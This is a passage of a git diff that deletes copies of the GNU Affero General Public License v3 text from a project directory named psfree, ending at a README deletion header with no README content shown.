-holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Remote Network Interaction; Use with the GNU General Public License. - - Notwithstanding any other provision of this License, if you modify the -Program, your modified version must prominently offer all users -interacting with it remotely through a computer network (if your version -supports such interaction) an opportunity to receive the Corresponding -Source of your version by providing access to the Corresponding Source -from a network server at no charge, through some standard or customary -means of facilitating copying of software. This Corresponding Source -shall include the Corresponding Source for any work covered by version 3 -of the GNU General Public License that is incorporated pursuant to the -following paragraph. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the work with which it is combined will remain governed by version -3 of the GNU General Public License. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU Affero General Public License from time to time. Such new versions -will be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU Affero General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU Affero General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU Affero General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU Affero General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Affero General Public License for more details. - - You should have received a copy of the GNU Affero General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If your software can interact with users remotely through a computer -network, you should also make sure that it provides a way for users to -get its source. For example, if your program is a web application, its -interface could display a "Source" link that leads users to an archive -of the code. There are many ways you could offer source, and different -solutions will be better for different programs; see section 13 for the -specific requirements. - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU AGPL, see -. diff --git a/psfree/LICENSE b/psfree/LICENSE deleted file mode 100644 index be3f7b2..0000000 --- a/psfree/LICENSE +++ /dev/null @@ -1,661 +0,0 @@ - GNU AFFERO GENERAL PUBLIC LICENSE - Version 3, 19 November 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU Affero General Public License is a free, copyleft license for -software and other kinds of works, specifically designed to ensure -cooperation with the community in the case of network server software. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -our General Public Licenses are intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - Developers that use our General Public Licenses protect your rights -with two steps: (1) assert copyright on the software, and (2) offer -you this License which gives you legal permission to copy, distribute -and/or modify the software. - - A secondary benefit of defending all users' freedom is that -improvements made in alternate versions of the program, if they -receive widespread use, become available for other developers to -incorporate. Many developers of free software are heartened and -encouraged by the resulting cooperation. However, in the case of -software used on network servers, this result may fail to come about. -The GNU General Public License permits making a modified version and -letting the public access it on a server without ever releasing its -source code to the public. - - The GNU Affero General Public License is designed specifically to -ensure that, in such cases, the modified source code becomes available -to the community. It requires the operator of a network server to -provide the source code of the modified version running there to the -users of that server. Therefore, public use of a modified version, on -a publicly accessible server, gives the public access to the source -code of the modified version. - - An older license, called the Affero General Public License and -published by Affero, was designed to accomplish similar goals. This is -a different license, not a version of the Affero GPL, but Affero has -released a new version of the Affero GPL which permits relicensing under -this license. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU Affero General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Remote Network Interaction; Use with the GNU General Public License. - - Notwithstanding any other provision of this License, if you modify the -Program, your modified version must prominently offer all users -interacting with it remotely through a computer network (if your version -supports such interaction) an opportunity to receive the Corresponding -Source of your version by providing access to the Corresponding Source -from a network server at no charge, through some standard or customary -means of facilitating copying of software. This Corresponding Source -shall include the Corresponding Source for any work covered by version 3 -of the GNU General Public License that is incorporated pursuant to the -following paragraph. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the work with which it is combined will remain governed by version -3 of the GNU General Public License. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU Affero General Public License from time to time. Such new versions -will be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU Affero General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU Affero General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU Affero General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU Affero General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Affero General Public License for more details. - - You should have received a copy of the GNU Affero General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If your software can interact with users remotely through a computer -network, you should also make sure that it provides a way for users to -get its source. For example, if your program is a web application, its -interface could display a "Source" link that leads users to an archive -of the code. There are many ways you could offer source, and different -solutions will be better for different programs; see section 13 for the -specific requirements. - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU AGPL, see -. diff --git a/psfree/README.md b/psfree/README.md deleted file mode 100644 index 04ffae4..0000000 --- a/psfree/README.md +++ /dev/null 